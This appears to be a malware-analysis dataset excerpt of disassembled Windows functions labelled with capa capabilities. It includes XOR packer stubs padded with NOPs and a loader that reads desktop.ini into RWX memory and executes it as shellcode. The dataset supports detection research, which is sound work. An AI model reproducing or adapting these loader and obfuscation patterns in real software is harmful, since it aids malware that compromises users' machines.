joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419a76
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.00408b20
mov eax, dword [0x432040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004164d7
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x419ab8
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x419c2f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00425280
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1014], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x433958]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041aabc
mov ecx, dword [esi*4 + 0x433958]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x1020], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x419c28
cmp eax, dword [edi + ecx + 0x24]
jne 0x419c28
xor esi, esi
lea eax, [ebp - 0x101c]
push esi
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419c28
push dword [ebp - 0x100c]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041aabc
add esp, 0x14
cmp edx, esi
jl 0x419c28
jg 0x419b83
cmp eax, esi
jb 0x419c28
mov ebx, dword [ebp - 0x1014]
mov eax, dword [ebp - 0x101c]
cmp ebx, esi
jg 0x419c28
jl 0x419ba5
cmp dword [ebp - 0x1008], eax
ja 0x419c28
lea edi, [ebp - 0x1004]
xorps xmm0, xmm0
add edi, eax
movlpd qword [ebp - 0x1018], xmm0
lea ecx, [ebp - 0x1004]
cmp dword [ebp - 0x1008], esi
jne 0x419bca
cmp ebx, esi
je 0x419c0f
mov edx, dword [ebp - 0x1014]
mov esi, dword [ebp - 0x1018]
cmp ecx, edi
jae 0x419c0f
mov al, byte [ecx]
cmp al, 0xd
jne 0x419bf0
lea eax, [edi - 1]
cmp ecx, eax
jae 0x419bfc
cmp byte [ecx + 1], 0xa
jne 0x419bfc
inc ecx
jmp 0x419bfc
movzx eax, al
movsx eax, byte [eax + 0x432300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x419bd6
cmp edx, ebx
jne 0x419bd6
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x1020]
jmp 0x419c2d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407aa0
leave
ret
Function at 0x419eae
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x419ec8
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x419edf
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x419f37
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.0041da2d
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x419f37
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x419f37
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x419f37
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x419f31
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x419f33
xor bl, bl
mov al, bl
jmp 0x419f39
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x419f48
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 8]
mov ecx, edx
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, edx
sar ecx, 6
and eax, 0x3f
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x433958]
mov dword [ebp - 0x18], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419f8a
cmp byte [ebx], 0xa
jne 0x419f8a
or byte [edi + eax + 0x28], 4
jmp 0x419f8f
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41a092
mov cl, byte [eax]
cmp cl, 0x1a
je 0x41a06d
lea ebx, [eax + 1]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0xc]
cmp cl, 0xd
je 0x419fbe
mov eax, dword [ebp - 8]
jmp 0x419fde
mov edx, dword [ebp - 0x10]
cmp dword [ebp - 8], edx
mov edx, dword [ebp + 8]
jae 0x419ffa
mov ebx, dword [ebp - 8]
cmp byte [ebx], 0xa
jne 0x419fd8
add eax, 2
mov cl, 0xa
jmp 0x419fdb
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 0xc]
mov byte [esi], cl
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0xc]
add esi, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jb 0x419fa0
jmp 0x41a092
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a068
cmp dword [ebp - 0x10], 0
je 0x41a068
mov edx, dword [ebp - 0x18]
mov eax, dword [edx*4 + 0x433958]
test byte [eax + edi + 0x28], 0x48
je 0x41a047
mov cl, byte [ebp - 1]
cmp cl, 0xa
jne 0x41a037
mov byte [esi], 0xa
jmp 0x41a091
mov byte [esi], 0xd
mov eax, dword [edx*4 + 0x433958]
mov byte [eax + edi + 0x2a], cl
jmp 0x41a091
cmp byte [ebp - 1], 0xa
jne 0x41a051
cmp esi, ebx
je 0x41a032
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041aada
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41a092
mov byte [esi], 0xd
jmp 0x41a091
mov eax, edx
and edx, 0x3f
sar eax, 6
imul edx, edx, 0x38
mov edi, dword [eax*4 + 0x433958]
mov al, byte [edi + edx + 0x28]
test al, 0x40
jne 0x41a08f
or al, 2
mov byte [edi + edx + 0x28], al
jmp 0x41a092
mov byte [esi], cl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41a09b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
and eax, 0x3f
push ebx
mov ebx, dword [ebp + 0xc]
sar edx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [edx*4 + 0x433958]
mov dword [ebp - 8], edx
mov edx, dword [eax + edi + 0x18]
mov dword [ebp - 0x18], edx
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x41a0df
push 0xa
pop esi
cmp word [ebx], si
jne 0x41a0df
or byte [eax + edi + 0x28], 4
jmp 0x41a0e4
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + edx*2]
mov eax, ebx
mov dword [ebp - 0x10], edx
mov esi, ebx
cmp ebx, edx
jae 0x41a24f
movzx edx, word [eax]
mov ecx, edx
mov dword [ebp - 0xc], ecx
movzx ecx, cx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
cmp edx, 0x1a
je 0x41a227
lea ebx, [eax + 2]
mov dword [ebp - 4], ebx
push 0xd
pop ebx
cmp dx, bx
mov ebx, dword [ebp + 0xc]
je 0x41a131
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, dword [ebp - 4]
movzx ebx, bx
mov dword [ebp - 4], ebx
jmp 0x41a15b
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jae 0x41a17a
push 0xa
pop ebx
cmp word [edx], bx
jne 0x41a148
push ebx
add eax, 4
pop edx
jmp 0x41a150
mov eax, edx
mov edx, dword [ebp - 0xc]
movzx edx, dx
movzx edx, dx
mov dword [ebp - 4], edx
mov edx, esi
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], 2
mov word [esi], cx
mov esi, dword [ebp - 0xc]
add esi, edx
cmp eax, dword [ebp - 0x10]
jb 0x41a0f6
jmp 0x41a24f
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a222
cmp dword [ebp - 0x14], 0
je 0x41a222
mov eax, dword [ebp - 8]
push 0xa
mov eax, dword [eax*4 + 0x433958]
test byte [eax + edi + 0x28], 0x48
pop eax
je 0x41a1fe
mov dx, word [ebp - 4]
cmp dx, ax
jne 0x41a1c6
mov word [esi], ax
jmp 0x41a24c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebp - 8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov eax, dword [eax*4 + 0x433958]
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x433958]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x433958]
pop ecx
mov byte [eax + edi + 0x2c], cl
jmp 0x41a24c
cmp word [ebp - 4], ax
jne 0x41a208
cmp esi, ebx
je 0x41a1be
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041aada
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41a24f
push 0xd
pop eax
jmp 0x41a1be
mov eax, ecx
and ecx, 0x3f
sar eax, 6
imul ecx, ecx, 0x38
mov edi, dword [eax*4 + 0x433958]
mov al, byte [edi + ecx + 0x28]
test al, 0x40
jne 0x41a249
or al, 2
mov byte [edi + ecx + 0x28], al
jmp 0x41a24f
mov word [esi], dx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41d112
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41d1af
push ebx
push esi
call fcn.0041d0db
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041bedc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41d15c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41d1ae
push edi
push eax
call fcn.004151e0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41d17c
call fcn.00415190
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41d1ad
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041bedc
add esp, 0x20
test eax, eax
jne 0x41d19b
push edi
call fcn.00415190
jmp 0x41d1a3
push ebx
call fcn.00415190
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41fa26
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00415016
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fa95
cmp esi, dword [ebp - 4]
je 0x41fa90
cmp dword [ebp + 0xc], 0
je 0x41fa90
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41fa6d
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0041f57b
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x41fa97
xor eax, eax
inc eax
jmp 0x41fa97
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x41fb02
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x432040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00415016
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00415016
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41fb79
cmp word [ecx], dx
je 0x41fb79
mov eax, dword [0x42b614]
push edi
dec eax
push eax
push 0x42b500
call fcn.0041fa9b
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x41fbec
cmp word [eax], dx
je 0x41fbec
mov eax, dword [edi]
test eax, eax
je 0x41fb9d
cmp word [eax], dx
je 0x41fb9d
lea eax, [ebp - 0x10]
push eax
call fcn.0041f481
jmp 0x41fba6
lea eax, [ebp - 0x10]
push eax
call fcn.0041f51c
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x41fc16
mov eax, dword [0x42b4fc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x42b1f0
call fcn.0041fa9b
add esp, 0xc
test al, al
je 0x41fc16
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x41fbe1
cmp word [eax], di
je 0x41fbe1
lea eax, [ebp - 0x10]
push eax
call fcn.0041f481
pop ecx
jmp 0x41fc18
lea eax, [ebp - 0x10]
push eax
call fcn.0041f51c
jmp 0x41fbde
mov eax, dword [edi]
test eax, eax
je 0x41fc03
cmp word [eax], dx
je 0x41fc03
lea eax, [ebp - 0x10]
push eax
call fcn.0041f436
pop ecx
jmp 0x41fc16
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x41fce1
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041f920
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41fce1
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x41fce1
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x41fce1
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41fc6e
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041845c
test ebx, ebx
je 0x41fcdc
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041845c
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fce1
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41fce1
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004232ff
add esp, 0x10
xor eax, eax
inc eax
jmp 0x41fce3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407aa0
leave
ret
Function at 0x4250e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42510d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42510d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x54ae3a01
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x2bd50ca
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x352819b5
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data_1
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x1eaa060a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x644443
Capabilities:
Encode data using xor

Disassembly:
pop ebx
dec dx
lodsb al, byte [esi]
and byte cs:[esi + 0xc], 0x3d
push ss
cmpsb byte [esi], byte es:[edi]
pop ds
mov gs, word [edi - 0x3cc4c5d4]
cmp eax, ebx
cli
push ebx
mov edi, 0x58bfcfaf
sub dword [edi - 0x6d], 0xffffffab
push ss
jnp 0x78a0b3e
aaa
out 0xc6, eax
adc bl, byte [edi]
xor esi, edx
jp 0x644453
dec edi
jae 0x644473
inc dword [ebx]
stosd dword es:[edi], eax
xchg ebx, eax
fistp word [edi]
add ebp, dword [ebx - 0x30e0206d]
pop edi
jg 0x644481
pop ds
iretd
daa
salc
push ebp
test al, 0xf
mov al, 0xb5
cmpxchg byte [ebp + 0x3b713c8e], dh
sub dword [edx - 0x15], ebx
lahf
jae 0x644478
invalid
inc edx
jg 0x644484
xchg edi, eax
mov dh, 0x5b
test eax, 0xca5b901
inc edx
push ss
push eax
sbb eax, dword [ebx - 0x11]
and eax, 0x43e1ba92
leave
sub eax, 0x53374779
pop edi
and dword ss:[ebx], edi
cld
and al, 0x91
loop 0x644453
add ecx, ebx
push ss
popfd
cmpsb byte [esi], byte es:[edi]
invalid

Function at 0x6da1c3
Capabilities:
Encode data using xor

Disassembly:
std
add byte [esi], dh
je 0x6da1ea
jo 0x6da21a
inc ebx
aad 0x71
or dword [ecx - 0x5d], 0x77
das
and dword [ecx - 0xc], eax
popfd
test byte [edi - 8], ah
and eax, 0x46c3389e
scasd eax, dword es:[edi]
push ds
lodsb al, byte [esi]
sal byte [esi], 1
and eax, 0x4794197f
inc edx
xchg ebp, eax
aaa
dec esi
les esp, [edi]
push edx
invalid
and byte [eax - 0x29], 5
movsb byte es:[edi], byte [esi]
push esi
invalid
Function at 0x7702f3
Capabilities:
Encode data using xor

Disassembly:
js 0x770230
enter 0xffffffffffffee72, 0xffffffffffffffc5
adc byte [esi + 0x301ad1b9], ch
cmpsb byte [esi], byte es:[edi]
add dword [ecx - 0x37], eax
mov bl, 0x7c
arpl word [edi], sp
nop
daa
adc dword [esi - 0x28], 0x552780f9
daa
push ebp
out dx, eax
push 0xffffffffffffffd6
into
invalid
into
arpl word [edx + 0x6e], sp
pop esi
cmpsb byte [esi], byte es:[edi]
enter 0x344, 0x36
mov esi, 0xff635d49
imul ebp, dword [esi - 0x182b0160], 0x36134bf6
dec ebx
adc esi, dword [esi]
xchg ecx, eax
test eax, 0xc066437c
jno 0x770259
xchg dword [esi + 0x5f416d39], esp
cmpsb byte [esi], byte es:[edi]
cmp dword [ebp + 0x41], ebp
pop edi
daa
jo 0x77028b
xor dword [edi + 0x57], ebp
outsd dx, dword [esi]
push edi
cmp eax, 0xb2013790
mov bh, 0xae
clc
scasb al, byte es:[edi]
jecxz 0x770206
fimul dword [ecx]
xor ecx, dword [eax]
mov cl, 0xcd
push ds
mov dl, 0x47
js 0x770221
insb byte es:[edi], dx
outsd dx, dword [esi]
cmp al, 0xab
mov es, ebp
dec ebp
adc al, 0x79
pop edi
pop edi
test byte [edi + ebx*2 + 0x7c], 0xc2
cmp al, 0xe4
sti
fistp word [esi - 0x3c]
lodsb al, byte [esi]
xchg edi, eax
fisubr word [edx - 0x79c8bc65]
dec ebp
mov dh, 0x48
stosb byte es:[edi], al
wait
inc ebx
aaa
xchg byte [ebp - 0x4a], cl
dec eax
invalid
jl 0x770252
jnp 0x770246
dec esi
in al, 0x66
les esp, [ecx + 0x47]
mov esp, dword [esi]
retf 0x2c40
cmp esi, dword [ebx + ecx]
pop edi
xor eax, 0x9e3a3c76
mov esi, 0x267e794a
enter 0x6e96, 0xffffffffffffffc4
sbb dh, byte [esi + 0x6f]
sar edi, 1
cmpsd dword [esi], dword es:[edi]
mov dl, 0x3c
sbb esi, dword [esi + ecx - 6]
mov ah, 0x5c
adc ch, ah
in eax, 0x12
jbe 0x7702ac
in eax, 0x12
jbe 0x7702ac
xchg esi, eax
mov esi, 0x5f4a7c86
dec eax
dec edi
test byte [eax + 0x1a], dl
jns 0x7702d2
aad 0xc5
mov ebp, 0x26a71b36
mov ecx, 0x622a2682
fiadd word [esi]
push cs
fstpnce st(6), st(0)
daa
int 0x3a
ljmp 0xa533

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x571d0f05
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x2ca06955
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401bc6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
mov dword [ebp - 4], ecx
push edi
lea ecx, [ebp - 0x10]
mov ebx, edx
call fcn.0040e820
lea ecx, [ebp - 0x1c]
call fcn.0040e820
push 0x3c
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x58], 0x3c
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x54], 0x740
mov dword [ebp - 0x3c], 0xa
test bl, 1
je 0x401c1e
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x54], 0x8740
test bl, 2
je 0x401c2a
mov dword [ebp - 0x4c], str.runas
and ebx, 0x10000
jne 0x401c39
or dword [ebp - 0x54], 0x100
mov eax, dword [0x41b70c]
push 5
push eax
mov dword [ebp - 0x50], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
call fcn.00402ff1
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e8a5
cmp dword [ebp - 0xc], edi
jne 0x401c81
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
xor eax, eax
inc eax
jmp 0x401cc8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x401cb6
cmp ebx, edi
jne 0x401caa
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
inc edi
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, edi
pop ecx
pop ecx
pop edi
pop ebx
leave
ret 4